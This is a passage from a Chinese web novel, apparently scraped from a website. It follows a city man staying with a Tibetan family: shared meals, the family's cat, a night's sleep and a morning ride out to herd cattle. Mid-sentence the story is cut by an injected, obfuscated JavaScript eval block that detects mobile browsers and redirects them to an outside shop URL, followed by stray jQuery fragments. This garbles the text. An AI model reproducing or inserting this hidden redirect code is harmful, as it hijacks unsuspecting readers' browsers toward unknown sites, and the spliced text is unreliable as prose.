尼玛旺堆加快速度吃完最后几口，放下碗，看向沈翊：“哥，吃饱了没？”他吃饭的速度实在惊人，那么一大碗面，沈翊才吃了一半不到。
沈翊在心里默默感叹了一句“这饭量果然‘正常’得惊人”，摇摇头，展示了一下自己还剩大半的碗：“还没，你吃你的。”
尼玛旺堆“哦”了一声，顺手拿起墙角那个属于猫咪的、巴掌大的小碗：“那我再去添一点。”他起身时，那猫也立刻竖起尾巴，亦步亦趋地跟在他脚后跟出去了。不一会儿，一人一猫又回来了，尼玛旺堆手里端着自己的碗，猫则紧跟在他腿边。
“这猫好像特别黏你。”沈翊看着有趣。
尼玛旺堆把碗放回小桌，弯腰拿起那个小碗，里面果然也盛了一点面条和肉末。他走到墙角蹲下，将碗放在老位置，笑道：“还是那句话，它装的。它精着呢。
沈翊看着猫凑到碗边，先谨慎地嗅了嗅，可能觉得烫，缩回脑袋，又忍不住再嗅，最后干脆绕到尼玛旺堆脚边，用身体蹭他，发出细微的叫声。
尼玛旺堆见状，连忙扒拉几口自己的面，然后走过去，拿起猫碗，又从碗柜抽屉里拿出另一个同样的小碗，将面在两个碗之间倒来倒去，低头仔细吹着气。他用手背试了试温度，觉得差不多了，才重新放回地上。这次，猫凑过去闻了闻，终于开始小口吃起来。
“猫居然吃面条？”沈翊觉得稀奇。
“嗯，它吃。”尼玛旺堆坐回垫子上，继续吃自己的，“不仅吃面，还爱喝酥油茶。”
“谁？猫？”沈翊愕然。
“对，小猫。”尼玛旺堆语气平常，“都说猫不能吃太油腻，但它就是喜欢。不过比起酥油茶，它更爱喝那种纸盒装的纯牛奶，咬开一角就能喝。比纯牛奶更喜欢的，是我们本地的酸奶。但这些都比不上它最爱的主食，泡过酥油茶的油饼。”
沈翊听得一愣一愣的，这猫的饮食习惯未免太“接地气”。“它这么不挑食？”
“也不是完全不挑。”尼玛旺堆收拾着自己面前的桌面，“我们怕它吃杂了生病，也试着喂过猫粮。结果买回来，它嫌味道臭，碰都不碰。没办法，只能先拿一点放在通风的地方，等味道散得差不多了，它才勉强吃几口。”
沈翊转头看那只正吃得专注的猫，难怪它皮毛油亮，体型敦实。“它多大了？”
尼玛旺堆想了想，不太确定：“具体记不清了，它来我家的时候我好像刚开学没多久。算起来，大概有七年了吧。”
猫很快吃完，舔舔爪子，慢悠悠地踱步经过沈翊脚边。尼玛旺堆眼疾手快地想伸手捞它，那猫却像背后长了眼睛，倏地一下蹿开，转眼就消失在门帘外，动作轻盈迅捷。
尼玛旺堆保持着伸手的姿势，转头对沈翊笑，笑容里带着点“你看吧”的得意：“瞧见没？哥，我就说它不亲人。想抱它，只能趁它睡得迷迷糊糊的时候偷袭一下。”
沈翊不得不服：“确实够高冷。”
“这样才好。”尼玛旺堆收回手，语气里带着一种放心的意味，“在农村，猫就得保持点警惕和野性，才能活得自在。不然别的猫来了，容易打架。猫打起架来凶得很，跟狗打架有得一拼，拉都拉不开。”
“你见过猫打架？”沈翊好奇。
尼玛旺堆摸出他那部屏幕裂纹密布的手机，划拉几下，找到一个视频点开。画面有些模糊，但能看清两只猫在院墙下对峙，一只狸花，一只纯黑，相互龇牙低吼，脊背弓起。下一秒，两只猫猛地扭打在一起，猫毛飞舞，动作快得让人眼花，黑猫似乎渐渐落了下风。这时，画外传来一声呵斥，黑猫趁机挣脱，敏捷地跳上墙头跑了。
“它们打架的时候，人去拉会不会被抓伤？”沈翊问。
“会啊。”尼玛旺堆点头，“我阿姐就被狠狠咬过一口。也是冬天，有只外来的黑猫跑进家里，大概是发.情了，晚上叫得厉害。我家这只平时不爱待屋里，总往外跑，像个街溜子，只有冬天冷得受不了才准时回来。那晚它没进来，在窗户外面叫。我阿姐被吵醒，以为它被关在外面，爬起来开门，结果发现猫在楼上叫。她刚躺下，猫又叫了。来回几次，阿姐火大了，伸手去抓它想抱进来，结果被结结实实咬了一口，血流了不少。”他翻出另一张照片，是德吉次仁手背上清晰的牙印，伤口颇深。
“没去打疫苗？”沈翊皱眉。
“没去。”尼玛旺堆摇头，调出当时搜索的页面，“查了说家猫一般没事，而且大半夜的，就算了。后来阿妈还笑话阿姐，说她是‘阻止小猫谈恋爱才挨的咬’，气得阿姐脸都黑了，好几天没理那猫。”
沈翊失笑：“你们家日常还挺……热闹。”
尼玛旺堆也笑了，有些无奈：“主要是我阿姐，她有时候会跟猫啊、狗啊、甚至羊说话，就像跟人聊天一样。有些亲戚觉得她……想法跟一般人不太一样。”
“她是喜欢小动物。”沈翊说。
尼玛旺堆想了想：“喜欢是喜欢，但可能也不全是……她就是习惯照顾它们，觉得有责任。”
话题从猫自然跳开。沈翊也拿出自己的手机，翻出一些旧照片。“这是我在城里一家爬宠店拍的。”照片里有颜色鲜艳的蜥蜴、蹲在苔石上的树蛙，还有几条缠绕在树枝上的蛇，甚至有沈翊自己将一条黄白相间的蛇托在手中的照片。
尼玛旺堆凑近看，指着那条蛇问：“摸起来什么感觉？”
“凉凉的，滑滑的，像质地很好的玉石。”沈翊回忆道。
“你不怕？”
“不怕，觉得很有意思。”尼玛旺堆仔细看着那些照片和视频，眼神里是真切的好奇，没有寻常人见到爬虫时常有的厌恶或恐惧。
电视里，《火影忍者》正播到鸣人与白在桥上对决的经典段落。沈翊收回视线：“很多人觉得它们长得吓人。”
“我觉得挺好看。”尼玛旺堆点开沈翊盘蛇的那段视频，那条玉米蛇在他手腕上缓慢游动，姿态优雅，“这蛇没毒吧？”
“嗯，玉米蛇，很温顺。”沈翊又找出另一段视频，里面是一条通体黝黑、体型更细小的蛇，在沈翊手中不安分地扭动，吐着信子，“这条脾气就比较烈，是店里最凶的一条，我当时还挺紧张，怕它咬我。”
尼玛旺堆盯着那条黑蛇，尤其它那双亮晶晶的、宛如黑曜石的眼睛，评价道：“它长得真漂亮，眼睛特别有神。”
“我就是看中了它的眼睛。”沈翊像是找到了知音，语气里带着点小兴奋。
看完视频，尼玛旺堆像是突然想起时间，看了一眼电视屏幕下方跳动的数字：“哥，吃饱了吗？”
“饱了，很好吃。”沈翊放下筷子。
“那咱们得睡了，明天还要早起。”尼玛旺堆说着，见沈翊起身要收拾碗筷，立刻拦住，“放那儿，明早再说。”他不由分说地接过碗筷，放到电视机旁边的矮柜上。
房间里的灯熄了，只有窗外雪地反射的一点微光。两人躺在各自的床铺里，被厚重温暖的藏被包裹。黑暗中，尼玛旺堆的声音传来，比白天低沉些，带着睡意初临的柔软：“哥，明天我要去放牛，你……有什么打算？”
沈翊在黑暗中眨了眨眼。打算？他逃离那个城市时，根本没有任何“打算”。此刻，他只想抓住眼前这份令人安心的、具体的“生活”。“我没什么事……如果你不嫌我碍手碍脚，我想跟你一起去。”他说得有些小心，怕这份追随成为对方的负担。
沉默了一两秒，尼玛旺堆的声音传来，清晰而温和：“好。那哥，晚安。明天我叫你。”
“晚安。”
这是沈翊在西藏的第二个夜晚。
身体是疲惫的，胃是暖的，心里那些盘根错节、针扎似的杂乱心事，似乎被这一整日的奔波、寒冷、意外的尴尬，以及此刻这简单的一句“晚安”暂时挤到了角落。他很快沉入了无梦的睡眠，仿佛身体本能地知道，需要为即将到来的、真实的“生活”积蓄力量。
晨光再次透过绘有彩色图案的窗户，将一种带有岁月质感的暖金色投在木地板上。沈翊被生物钟唤醒，摸出手机，对着光束中飞舞的微尘和古朴的室内陈设拍了一张。
他转过头，对面尼玛旺堆的床铺已经空了，被子叠得整齐。那只猫却不知何时又霸占了他的床尾，蜷成一团白色毛球，睡得正香，仿佛那张床天生就是它的领地。
沈翊轻手轻脚起床，来到生着火炉的主屋。炉火正旺，驱散了清晨的寒意。屋里除了阿妈米玛啦，还有一个陌生的藏族小伙，正和尼玛旺堆用藏语热烈地交谈着什么，两人脸上都带着笑容。沈翊的脚步在门口顿了顿，一种熟悉的疏离感悄然漫上心头，那种因语言不通而被隔绝在热闹之外的轻微窒息感。但他随即压下这丝不快，提醒自己，客人的本分就是不要奢求过多。
尼玛旺堆看见他，立刻停下话头，拿起热水壶：“哥，醒了？需要新的牙刷毛巾吗？我拿给你。”
“不用，我都带了。”沈翊摆摆手，返回房间拿出自己的洗漱用品，走到院子的自来水龙头旁。他小心地兑着冷热水，在清冽的空气中完成洗漱。等他再回到主屋时，那位小伙子正准备离开。阿妈米玛啦端着倒满酥油茶的木碗递给他，两人又用藏语简短地说了几句，阿妈米玛啦一直将人送到楼梯口，尼玛旺堆则跟着送到了大门外才折返。
语言再次成为透明的屏障。沈翊安静地看着这一切，感受着这个家庭内部自然流畅的互动，那是一种他无法参与，却令人羡慕的紧密联结。
阿妈米玛啦回来，看到沈翊站着，立刻慈爱地拉他坐到火炉边最好的位置，给他倒上热茶，又转身从炉子上的大锅里盛出满满一碗热气腾腾的面条，配上崭新的筷子，推到他面前。尼玛旺堆抱着一捆干柴进来，放下后和母亲低声交谈了几句。阿妈米玛啦拍了拍儿子的手臂，又指了指沈翊，说了些什么。
尼玛旺堆走到沈翊身边，翻译道：“我阿妈说，让你多吃点，别客气，把这里当自己家。她说你太瘦了。”
沈翊心头一暖，转向阿妈米玛啦，双手合十，微微欠身：“谢谢阿姨。”
尼玛旺堆笑着翻译。阿妈米玛啦听后，露出更加慈祥的笑容，用生硬的、带着浓重口音的汉语努力说道：“不可气，不可气。”发音虽不标准，那份心意却直白滚烫。说完就出去了。
尼玛旺堆又笑着纠正她的发音，老人笑着摆手，表示学不会，转身又去忙活了。
沈翊拿起筷子，问正在柜子边拿碗的尼玛旺堆：“你吃过了吗？”
“还没。”尼玛旺堆拿出自己的木碗，从另一个罐子里舀出糌粑，又倒入一点酥油茶，熟练地用手调和起来。
沈翊看看自己碗里的面条，又看看他碗里糊状的糌粑，有些诧异：“你不吃面条？”
“我早上习惯吃这个，”尼玛旺堆晃了晃手里的木碗，“营养足，顶饿。这锅面条是阿妈专门给你煮的。”他说得极其自然。
沈翊握着筷子的手却紧了紧。专门为他煮的……这种特别的、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182984|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
额外的关照，让他感到温暖，也让他不安。他放下筷子，声音有些低：“我是不是……给你们添了很多麻烦？因为我，你们要多准备一份饭，多操很多心。”
尼玛旺堆正将一小块酥油揉进糌粑里，闻言惊讶地抬起头，似乎完全没料到他会这么想：“哥，你怎么会这么想？不就是多双筷子多个碗的事吗？这算什么麻烦？”他看着沈翊，眼神坦荡真诚，“我们总不能逼你吃你不习惯的东西。而且，”他语气认真了些，“哥，你是真的瘦，在这里要是因为吃不好再瘦下去，身体会受不了的。”
他的理由如此朴实直接，让沈翊那些都市里带来的、过于敏感的思虑显得矫情而多余。沈翊有些讪讪地重新拿起筷子，心底那点不安被这份坦然的热情慢慢熨平。他看着尼玛旺堆吃得香甜，那糌粑看起来粗糙，却散发着朴实的粮食香气，不禁好奇：“这个……好吃吗？我能尝一点吗？”
“当然。”尼玛旺堆很大方的把碗递过去，拿出另一个小碗——正是昨晚猫用过的那种，“哥，你自己弄点尝尝，吃不完放着就行。”
沈翊看着那个小碗，有点迟疑：“这……不是猫碗吧？”
尼玛旺堆笑了：“就是它的。它也爱吃这个，尤其是拌了酸奶的。”
沈翊舀了一小勺调好的糌粑送进嘴里。口感很独特，粗粝中带着青稞的焦香和酥油的醇厚，咸香里又有一丝若有若无的奶甜，并不难接受，是一种扎实而原始的滋味。
这时，阿妈米玛啦转着经筒进来，那只猫果然跟在她脚边。
猫进来后，先是在阿妈米玛啦身边蹭了蹭，然后溜达到尼玛旺堆旁边。尼玛旺堆很自然地把给它弄完的小团糌粑放在他的碗里，递给它。猫低头嗅嗅，很快舔食干净。
尼玛旺堆又把自己碗里的茶水倒了一点在它的碗里，不烫也不热，猫也凑过去小口舔着。吃饱喝足，它便回到阿妈米玛啦脚边，找了个温暖的位置，蜷身卧下。
沈翊看着这一幕，忽然对尼玛旺堆那句“猫也认识回家的路”有了更深的体会。在这里，人与动物的关系，建立在一种相互依存又彼此独立的、充满生活智慧的平衡之上。
“哥，还要再来点吗？”尼玛旺堆问。
“不用了，饱了。”沈翊连忙摆手。
尼玛旺堆没再勉强，快速吃完自己的糌粑，收拾好碗筷，又用藏语和母亲说了几句话。然后他对沈翊说：“哥，今天风大，得多穿点。一会儿我们去放牛。”
两人来到院子，摩托车已经推了出来。墙角只拴着几头明显还小的牛犊，不见其他大牛的踪影。
“其他牛呢？”沈翊问。
“哦，让早上来那个朋友一起赶过去了。”尼玛旺堆发动摩托车，引擎发出熟悉的轰鸣，“他是我邻居，我昨晚就跟他说了，今早我可能晚点，请他帮我把牛一起带过去。他来得早，自己家的牛放完才过来的。”
沈翊算了算时间，那意味着天不亮就得起床。“这么早？”
“嗯，放牛就是这样，得赶早。”尼玛旺堆说得平常，跨上摩托车。虽是上午十点，阳光明亮，但高原的风裹着寒意，直往骨头缝里钻。尼玛旺堆打量了一下沈翊的穿着：“哥，你最好再加件外套，今天风硬，比昨天冷。”
沈翊想起昨夜湿透裤子的教训，从善如流，立刻回屋加了件厚实的羽绒背心。再出来时，尼玛旺堆已经戴好了手套和护耳，示意他上车。
摩托车再次驶上熟悉的土路。经过两天的颠簸，沈翊似乎开始适应这种原始的交通工具，甚至敢在相对平稳的路段，单手扶着尼玛旺堆的腰，腾出另一只手快速拍几张苍茫辽阔的远景。
他们抵达湿地保护区边缘时，没有像昨天那样寻找偏僻的入口，而是老老实实走了正门附近的土路。入口处立着标明保护区级别的牌子。旁边空地上，两个穿着藏袍的男人盘腿而坐，中间摊开一块布，上面摆着几个大海螺和当作间隔的硬币，一个倒扣的木碗下似乎藏着骰子，两人正玩得投入，神情专注。
尼玛旺堆停好车，走上前，用藏语打招呼，询问他们是否快结束了。其中年长些、留着浓密胡须的男人抬起头，见是尼玛旺堆，严肃的脸上露出笑容，也用藏语回应。他的目光随后落到沈翊身上，带着善意的好奇，用藏语向尼玛旺堆确认：“这就是住你家的那位客人？”
尼玛旺堆点头称是。
沈翊虽听不懂，却能感受到那目光里的打量并无恶意，他笑着对两人点了点头，说了句：“你们好。”
两个男人也立刻露出有些局促但热情的笑容，用发音生硬的汉语回应：“你好！你好！”
沈翊站在一旁，看着尼玛旺堆很自然地蹲下，观看他们的游戏，并用藏语闲聊几句。青年宽阔的肩背在高原明亮的阳光下显得格外扎实可靠，侧脸线条清晰，神情放松而专注。风将他额前微卷的黑发吹动，也送来他身上那股混合着阳光、尘土和淡淡酥油气的、令人安心的味道。
沈翊忽然清晰地意识到，自己正在一步步被拽入一个完全由尼玛旺堆主导的、真实而粗糙的生活节奏里。
这种“跟随”，并非被动，而是一种带着隐秘甘愿的沉浸。
每一次颠簸，每一阵寒风，每一句听不懂却充满生命力的对话，甚至此刻站在一旁等待的短暂无聊，都在悄然磨损他过去世界里那些精致的疏离和理性的枷锁。某种更原始、更本能的东西，正在这片土地凛冽的空气和身边这个青年沉默而坚实的背影里，悄然苏醒，破土生长。